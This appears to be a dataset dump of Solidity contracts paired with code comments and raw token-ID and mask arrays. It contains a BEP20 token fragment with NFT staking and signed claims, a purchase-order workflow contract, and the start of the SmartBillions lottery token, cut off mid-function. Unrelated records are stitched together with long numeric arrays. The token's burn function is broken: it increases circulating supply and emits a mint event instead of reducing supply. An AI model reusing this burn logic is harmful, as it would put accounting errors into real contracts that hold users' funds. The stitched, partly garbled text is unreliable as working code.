impact function _swapContractToken(uint256 totalMax) private lockTheSwap{ uint256 contractBalance=_balances[address(this)]; uint16 totalTax=_liquidityTax+_distributedTax; uint256 tokenToSwap=swapLimit; if(tokenToSwap > totalMax) { if(isSwapPegged) { tokenToSwap = totalMax; } } //only swap if contractBalance is larger than tokenToSwap, and totalTax is unequal to 0 if(contractBalance<tokenToSwap||totalTax==0){ return; } //splits the token in TokenForLiquidity and tokenForMarketing uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax; uint256 tokenLeft = tokenToSwap - tokenForLiquidity; //splits tokenForLiquidity in 2 halves uint256 liqToken=tokenForLiquidity/2; uint256 liqBNBToken=tokenForLiquidity-liqToken; //swaps fees tokens and the liquidity token half for BNB uint256 swapToken=liqBNBToken+tokenLeft; //Gets the initial BNB balance, so swap won't touch any other BNB uint256 initialBNBBalance = address(this).balance; _swapTokenForBNB(swapToken); uint256 newBNB=(address(this).balance - initialBNBBalance); //calculates the amount of BNB belonging to the LP-Pair and converts them to LP if(_addBackLiquidity) { uint256 liqBNB = (newBNB*liqBNBToken)/swapToken; _addLiquidity(liqToken, liqBNB); } //Get the BNB balance after LP generation to get the //exact amount of bnb left to distribute uint256 generatedBNB=(address(this).balance - initialBNBBalance); //distributes remaining BNB between stakers and Marketing _distributeFeesBNB(generatedBNB); } //swaps tokens on the contract for BNB function _swapTokenForBNB(uint256 amount) private { _approve(address(this), address(_pancakeRouter), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _pancakeRouter.WETH(); _pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } //Adds Liquidity directly to the contract where LP are locked function _addLiquidity(uint256 tokenamount, uint256 bnbamount) private { totalLPBNB+=bnbamount; _approve(address(this), address(_pancakeRouter), tokenamount); _pancakeRouter.addLiquidityETH{value: bnbamount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } //////////////////////////////////////////////////////////////////////////////////////////////////////// //Settings////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// bool public sellLockDisabled; uint256 public sellLockTime; bool public manualConversion; function mint(uint256 qty) public onlyChef { _circulatingSupply = _circulatingSupply + qty; _balances[chefAddress] = _balances[chefAddress] + qty; emit Transfer(address(0), chefAddress, qty); } function mintClaim(address account,uint256 qty) internal { _circulatingSupply = _circulatingSupply + qty; _balances[account] = _balances[account] + qty; emit Transfer(address(0), account, qty); } function burn(uint256 qty) public onlyChef { _circulatingSupply = _circulatingSupply + qty; _balances[chefAddress] = _balances[chefAddress] - qty; emit Transfer(address(0), chefAddress, qty); } // Cooldown control function isCooldownEnabled(bool booly) public onlyTeam { cooldown = booly; } function setCooldownTime(uint256 time) public onlyTeam { cooldownTime = time; } // This will DISABLE every control from the team function renounceTeam() public onlyTeam { _teamEnabled = false; } function TeamSetChef(address addy) public onlyTeam { chefAddress = addy; } function TeamIsActiveSellLimit(bool booly) public onlyTeam { sellLimitActive = booly; } function TeamIsActiveBuyLimit(bool booly) public onlyTeam { buyLimitActive = booly; } function TeamIsActiveBalanceLimit(bool booly) public onlyTeam { balanceLimitActive = booly; } function TeamEnableTrading() public onlyTeam { tradingEnabled = true; } function TeamWithdrawMarketingBNB() public onlyTeam{ uint256 amount=marketingBalance; marketingBalance=0; (bool sent,) =marketingWallet.call{value: (amount)}(""); require(sent,"withdraw failed"); } function TeamWithdrawCharityBNB() public onlyTeam{ uint256 amount=charityBalance; charityBalance=0; (bool sent,) =charityWallet.call{value: (amount)}(""); require(sent,"withdraw failed"); } function TeamWithdrawDevelopmentBNB() public onlyTeam{ uint256 amount=developmentBalance; developmentBalance=0; (bool sent,) =developmentWallet.call{value: (amount)}(""); require(sent,"withdraw failed"); } //switches autoLiquidity and marketing BNB generation during transfers function TeamSwitchManualBNBConversion(bool manual) public onlyTeam{ manualConversion=manual; } //Sets Taxes, is limited by MaxTax(49%) to make it impossible to create honeypot function TeamSetTaxes(uint8 distributedTaxes, uint8 liquidityTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public onlyTeam{ uint8 totalTax=liquidityTaxes+distributedTaxes; require(totalTax==100, "liq+distributed needs to equal 100%"); require(buyTax<=MaxTax&&sellTax<=MaxTax&&transferTax<=MaxTax,"taxes higher than max tax"); _liquidityTax=liquidityTaxes; _distributedTax=distributedTaxes; _buyTax=buyTax; _sellTax=sellTax; _transferTax=transferTax; } //manually converts contract token to LP and staking BNB function TeamManualGenerateTokenSwapBalance(uint256 _qty) public onlyTeam{ _swapContractToken(_qty * 10**9); } //Exclude/Include account from fees (eg. CEX) function TeamExcludeAccountFromFees(address account) public onlyTeam { _excluded.add(account); } function TeamIncludeAccountToFees(address account) public onlyTeam { _excluded.remove(account); } //Limits need to be at least 0.5%, to avoid setting value to 0(avoid potential Honeypot) function TeamUpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public onlyTeam{ uint256 minimumLimit = 5 * 10**6; //Adds decimals to limits newBalanceLimit=newBalanceLimit*10**_decimals; newSellLimit=newSellLimit*10**_decimals; require(newBalanceLimit>=minimumLimit && newSellLimit>=minimumLimit, "Limit protection"); balanceLimit = newBalanceLimit; sellLimit = newSellLimit; } //////////////////////////////////////////////////////////////////////////////////////////////////////// //Setup Functions/////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// bool public tradingEnabled=false; address private _liquidityTokenAddress; //Enables whitelist trading and locks Liquidity for a short time //Sets up the LP-Token Address required for LP Release function SetupLiquidityTokenAddress(address liquidityTokenAddress) public onlyTeam{ _liquidityTokenAddress=liquidityTokenAddress; } //////////////////////////////////////////////////////////////////////////////////////////////////////// //external////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// receive() external payable {} fallback() external payable {} // IBEP20 function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } // IBEP20 - Helpers function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } function checkLastClaim(address to) public view returns (uint256 ) { return _nftHolderLastTransferTimestamp[to]; } function gethash(address to,uint nid,uint nonce) public pure returns (bytes memory ) { return abi.encodePacked(to, nid,nonce); } function getKeccak(address to,uint nid,uint nonce) public pure returns (bytes32) { return keccak256(gethash(to, nid,nonce)); } function getKeccakHashed(address to,uint nid,uint nonce) public pure returns (bytes32) { return getEthSignedMessageHash(keccak256(gethash(to, nid,nonce))); } /* function checkSignature(address to,uint256 nid,uint256 nonce, bytes memory signature) public view returns (bool) { bytes32 messageHash = keccak256(abi.encode(to, nid,nonce)); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == passwordSigner; } */ function claimTokens(address to,uint256 amount,uint256 nounce, bytes memory signature) public { require(claimEnabled, "Claim Disabled"); if(checkTxSigner) { require(verify(to, amount,nounce,signature), "Invalid Signature"); } if(checkClaimFrequency) { require(block.timestamp > _nftHolderLastTransferTimestamp[to] + claimFrequency, "Not the Claim time."); } if(checkTxMsgSigner) { require(!_txMsgSigner[nounce], "Invalid Claim"); _txMsgSigner[nounce] = true; _nftHolderLastTransferTimestamp[to] = block.timestamp; } _feelessTransfer(owner(), to, amount*10**9); } function getMessageHash( address _to, uint _amount, uint _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_to, _amount, _nonce)); } function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) { /* Signature is produced by signing a keccak256 hash with the following format: "\x19Ethereum Signed Message\n" + len(msg) + msg */ return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) ); } function verify( address _to, uint _amount, uint _nonce, bytes memory signature ) public view returns (bool) { bytes32 messageHash = getMessageHash(_to, _amount, _nonce); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == passwordSigner; } function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory sig) public pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(sig.length == 65, "invalid signature length"); assembly { /* First 32 bytes stores the length of the signature add(sig, 32) = pointer of sig + 32 effectively, skips first 32 bytes of signature mload(p) loads next 32 bytes starting at the memory address p into memory */ // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } // implicitly return (r, s, v) } function setnftClaimSettings(address _passwordSigner,uint256 _claimFrequency, bool _Enabled,bool _checkTxSigner,bool _checkTxMsgSigner,bool _checkClaimFrequency) external onlyOwner { require(_claimFrequency >= 600, "cannot set clain more often than every 10 minutes"); claimFrequency = _claimFrequency; passwordSigner = _passwordSigner; claimEnabled = _Enabled; checkTxSigner = _checkTxSigner; checkClaimFrequency = _checkClaimFrequency; checkTxMsgSigner = _checkTxMsgSigner; } //=======================erc1155 receiving //alter rate and expiration function updateNftAddress(address payable newFundsTo,bool addBackLiquidity) public onlyOwner { bapesNftAddress = newFundsTo; _addBackLiquidity = addBackLiquidity; } //check deposit amount. function depositsOf(address account) external view returns (uint256[] memory) { EnumerableSet.UintSet storage depositSet = _deposits[account]; uint256[] memory tokenIds = new uint256[] (depositSet.length()); for (uint256 i; i<depositSet.length(); i++) { tokenIds[i] = depositSet.at(i); } return tokenIds; } //deposit function. function deposit(uint256[] calldata tokenIds,uint256 prd) external { //claimRewards(tokenIds); for (uint256 i; i < tokenIds.length; i++) { _nftStakeTime[tokenIds[i]] = block.timestamp; _nftStakePeriod[tokenIds[i]] = prd; IERC721(bapesNftAddress).safeTransferFrom( msg.sender, address(this), tokenIds[i], '' ); _deposits[msg.sender].add(tokenIds[i]); } } function getNftStakeTime(uint256 tid) public view returns (uint256) { return _nftStakeTime[tid]; } function getNftStakePeriod(uint256 tid) public view returns (uint256) { return _nftStakePeriod[tid]; } //withdrawal function. function withdraw(address to,uint256 amount,uint256 nounce, bytes memory signature,uint256[] calldata tokenIds) external nonReentrant() { // claimRewards(tokenIds); if(amount>0) { require(verify(to, amount,nounce,signature), "Invalid Signature"); require(!_txMsgSigner[nounce], "Invalid Claim"); _txMsgSigner[nounce] = true; //_nftHolderLastTransferTimestamp[to] = block.timestamp; } for (uint256 i; i < tokenIds.length; i++) { require( _deposits[msg.sender].contains(tokenIds[i]), 'Staking: token not deposited' ); _nftStakeTime[tokenIds[i]] = 0; _deposits[msg.sender].remove(tokenIds[i]); IERC721(bapesNftAddress).safeTransferFrom( address(this), msg.sender, tokenIds[i], '' ); } if(amount>0) { mintClaim(to, amount*10**9); } // _feelessTransfer(owner(), to, amount*10**9); } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
Transfers are disabled in sell lock, this doesn't stop someone from transfering beforeselling, but there is no satisfying solution for that, and you would need to pax additional tax
tax=_transferTax;
11,949,384
[ 1, 1429, 18881, 854, 5673, 316, 357, 80, 2176, 16, 333, 3302, 1404, 2132, 18626, 628, 7412, 310, 506, 617, 455, 1165, 310, 16, 1496, 1915, 353, 1158, 9281, 14946, 6959, 364, 716, 16, 471, 1846, 4102, 1608, 358, 293, 651, 3312, 5320, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 5320, 33, 67, 13866, 7731, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "../contracts/mortal.sol"; import "../contracts/CircuitBreakable.sol"; import "../contracts/Registry.sol"; /// @title PurchaseOrder Contract /// @notice Creates/modifies PurchaseOrder and maintains workflow state of PO in supplyChain contract PurchaseOrder is mortal, CircuitBreakable, Registry { //State Variables mapping (string => Order) orders; enum WorkflowState { Created, Opened, Confirmed, Declined } //Data structure to hold most important purchase order details on Ethereum struct Order { string poNumber; //Key should be unique string ipfsHash; //IPFS hash data of PO document WorkflowState state; address seller; address buyer; } // // Events - publicize actions to external listeners // event LogPurchaseOrderCreated(string indexed poNumber); event LogPurchaseOrderApproved(string indexed poNumber); event LogPurchaseOrderConfirmed(string indexed poNumber); event LogPurchaseOrderDeclined(string indexed poNumber); //modifiers modifier onlyOwner() { require(msg.sender == owner, "The msg.sender must be contract's owner!");_;} modifier isCallerSeller(string _poNumber) { require (msg.sender == orders[_poNumber].seller); _;} modifier isCallerBuyer(string _poNumber) { require (msg.sender == orders[_poNumber].buyer); _;} modifier isCallerBuyerOrSeller(string _poNumber) { require (msg.sender == orders[_poNumber].seller || msg.sender == orders[_poNumber].buyer); _;} modifier opened(string _poNumber) { require(WorkflowState.Opened == orders[_poNumber].state, "This items state must be in Opened state!"); _; } modifier created(string _poNumber) { require(WorkflowState.Created == orders[_poNumber].state, "This items state must be in Created state!"); _; } /// @notice create the PO /// @dev The function which creates purchase order can be used to modify PO as well /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @param _ipfsHash IPFS hash data that stores entire PO document /// @return true if successful function createPurchaseOrder(string _poNumber, string _ipfsHash, address _seller) stopInEmergency public returns(bool) { orders[_poNumber] = Order({poNumber: _poNumber, ipfsHash: _ipfsHash, state: WorkflowState.Created, seller: _seller, buyer :msg.sender}); emit LogPurchaseOrderCreated(_poNumber); return true; } /// @notice confirm the PO - Only buyer can approve PO / PO should be in CREATED state before approval /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return true if successful function approvePurchaseOrder(string _poNumber) created(_poNumber) isCallerBuyer(_poNumber) stopInEmergency public returns(bool) { orders[_poNumber].state = WorkflowState.Opened; emit LogPurchaseOrderApproved(_poNumber); return true; } /// @notice confirm the PO - Only seller can confirm PO / PO should be in OPENED state before confirmation /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return true if successful function confirmPurchaseOrder(string _poNumber) opened(_poNumber) isCallerSeller(_poNumber) stopInEmergency public returns(bool) { orders[_poNumber].state = WorkflowState.Confirmed; emit LogPurchaseOrderConfirmed(_poNumber); return true; } /// @notice decline the PO - Only seller can decline PO / PO should be in OPENED state before Declining /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return true if successful function declinePurchaseOrder(string _poNumber) opened(_poNumber) isCallerSeller(_poNumber) stopInEmergency public returns(bool) { orders[_poNumber].state = WorkflowState.Declined; emit LogPurchaseOrderDeclined(_poNumber); return true; } /// @notice Gets IPFSHash of the PO Details /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return string ipfsHash function getIpfsHash(string _poNumber) isCallerBuyerOrSeller(_poNumber) public view returns(string) { return orders[_poNumber].ipfsHash; } /// @notice Gets WorkflowState of the PO Details /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return WorkflowState function getWorkflowState(string _poNumber) isCallerBuyerOrSeller(_poNumber) public view returns(WorkflowState) { return orders[_poNumber].state; } /// @notice Gets WorkflowState, Buyer, Seller of the PO Details /// @param _poNumber Key holding the mapping of Order to OrderDetails /// @return WorkflowState ,Buyer, Seller function getOrderStateBuyerSeller(string _poNumber) isCallerBuyerOrSeller(_poNumber) public view returns(WorkflowState, address, address) { return (orders[_poNumber].state, orders[_poNumber].buyer, orders[_poNumber].seller); } }
Key should be unique
string poNumber;
1,814,554
[ 1, 653, 1410, 506, 3089, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 533, 8275, 1854, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; library SafeMath { function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint public totalSupply; address public owner; //owner address public animator; //animator function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); function commitDividend(address who) internal; // pays remaining dividend } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { commitDividend(msg.sender); balances[msg.sender] = balances[msg.sender].sub(_value); if(_to == address(this)) { commitDividend(owner); balances[owner] = balances[owner].add(_value); Transfer(msg.sender, owner, _value); } else { commitDividend(_to); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; commitDividend(_from); commitDividend(_to); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title SmartBillions contract */ contract SmartBillions is StandardToken { // metadata string public constant name = "SmartBillions Token"; string public constant symbol = "PLAY"; uint public constant decimals = 0; // contract state struct Wallet { uint208 balance; // current balance of user uint16 lastDividendPeriod; // last processed dividend period of user&#39;s tokens uint32 nextWithdrawBlock; // next withdrawal possible after this block number } mapping (address => Wallet) wallets; struct Bet { uint192 value; // bet size uint32 betHash; // selected numbers uint32 blockNum; // blocknumber when lottery runs } mapping (address => Bet) bets; uint public walletBalance = 0; // sum of funds in wallets // investment parameters uint public investStart = 1; // investment start block, 0: closed, 1: preparation uint public investBalance = 0; // funding from investors uint public investBalanceMax = 200000 ether; // maximum funding uint public dividendPeriod = 1; uint[] public dividends; // dividens collected per period, growing array // betting parameters uint public maxWin = 0; // maximum prize won uint public hashFirst = 0; // start time of building hashes database uint public hashLast = 0; // last saved block of hashes uint public hashNext = 0; // next available bet block.number uint public hashBetSum = 0; // used bet volume of next block uint public hashBetMax = 5 ether; // maximum bet size per block uint[] public hashes; // space for storing lottery results // constants //uint public constant hashesSize = 1024 ; // DEBUG ONLY !!! uint public constant hashesSize = 16384 ; // 30 days of blocks uint public coldStoreLast = 0 ; // block of last cold store transfer // events event LogBet(address indexed player, uint bethash, uint blocknumber, uint betsize); event LogLoss(address indexed player, uint bethash, uint hash); event LogWin(address indexed player, uint bethash, uint hash, uint prize); event LogInvestment(address indexed investor, address indexed partner, uint amount); event LogRecordWin(address indexed player, uint amount); event LogLate(address indexed player,uint playerBlockNumber,uint currentBlockNumber); event LogDividend(address indexed investor, uint amount, uint period); modifier onlyOwner() { assert(msg.sender == owner); _; } modifier onlyAnimator() { assert(msg.sender == animator); _; } // constructor function SmartBillions() { owner = msg.sender; animator = msg.sender; wallets[owner].lastDividendPeriod = uint16(dividendPeriod); dividends.push(0); // not used dividends.push(0); // current dividend } /* getters */ /** * @dev Show length of allocated swap space */ function hashesLength() constant external returns (uint) { return uint(hashes.length); } /** * @dev Show balance of wallet * @param _owner The address of the account. */ function walletBalanceOf(address _owner) constant external returns (uint) { return uint(wallets[_owner].balance); } /** * @dev Show last dividend period processed * @param _owner The address of the account. */ function walletPeriodOf(address _owner) constant external returns (uint) { return uint(wallets[_owner].lastDividendPeriod); } /** * @dev Show block number when withdraw can continue * @param _owner The address of the account. */ function walletBlockOf(address _owner) constant external returns (uint) { return uint(wallets[_owner].nextWithdrawBlock); } /** * @dev Show bet size. * @param _owner The address of the player. */ function betValueOf(address _owner) constant external returns (uint) { return uint(bets[_owner].value); } /** * @dev Show block number of lottery run for the bet. * @param _owner The address of the player. */ function betHashOf(address _owner) constant external returns (uint) { return uint(bets[_owner].betHash); } /** * @dev Show block number of lottery run for the bet. * @param _owner The address of the player. */ function betBlockNumberOf(address _owner) constant external returns (uint) { return uint(bets[_owner].blockNum); } /** * @dev Print number of block till next expected dividend payment */ function dividendsBlocks() constant external returns (uint) { if(investStart > 0) { return(0); } uint period = (block.number - hashFirst) / (10 * hashesSize); if(period > dividendPeriod) { return(0); } return((10 * hashesSize) - ((block.number - hashFirst) % (10 * hashesSize))); } /* administrative functions */ /** * @dev Change owner. * @param _who The address of new owner. */ function changeOwner(address _who) external onlyOwner { assert(_who != address(0)); commitDividend(msg.sender); commitDividend(_who); owner = _who; } /** * @dev Change animator. * @param _who The address of new animator. */ function changeAnimator(address _who) external onlyAnimator { assert(_who != address(0)); commitDividend(msg.sender); commitDividend(_who); animator = _who; } /** * @dev Set ICO Start block. * @param _when The block number of the ICO. */ function setInvestStart(uint _when) external onlyOwner { require(investStart == 1 && hashFirst > 0 && block.number < _when); investStart = _when; } /** * @dev Set maximum bet size per block * @param _maxsum The maximum bet size in wei. */ function setBetMax(uint _maxsum) external onlyOwner { hashBetMax = _maxsum; } /** * @dev Reset bet size accounting, to increase bet volume above safe limits */ function resetBet() external onlyOwner { hashNext = block.number + 3; hashBetSum = 0; } /** * @dev Move funds to cold storage * @dev investBalance and walletBalance is protected from withdraw by owner * @dev if funding is > 50% admin can withdraw only 0.25% of balance weakly * @param _amount The amount of wei to move to cold storage */ function coldStore(uint _amount) external onlyOwner { houseKeeping(); require(_amount > 0 && this.balance >= (investBalance * 9 / 10) + walletBalance + _amount); if(investBalance >= investBalanceMax / 2){ // additional jackpot protection require((_amount <= this.balance / 400) && coldStoreLast + 4 * 60 * 24 * 7 <= block.number); } msg.sender.transfer(_amount); coldStoreLast = block.number; } /** * @dev Move funds to contract jackpot */ function hotStore() payable 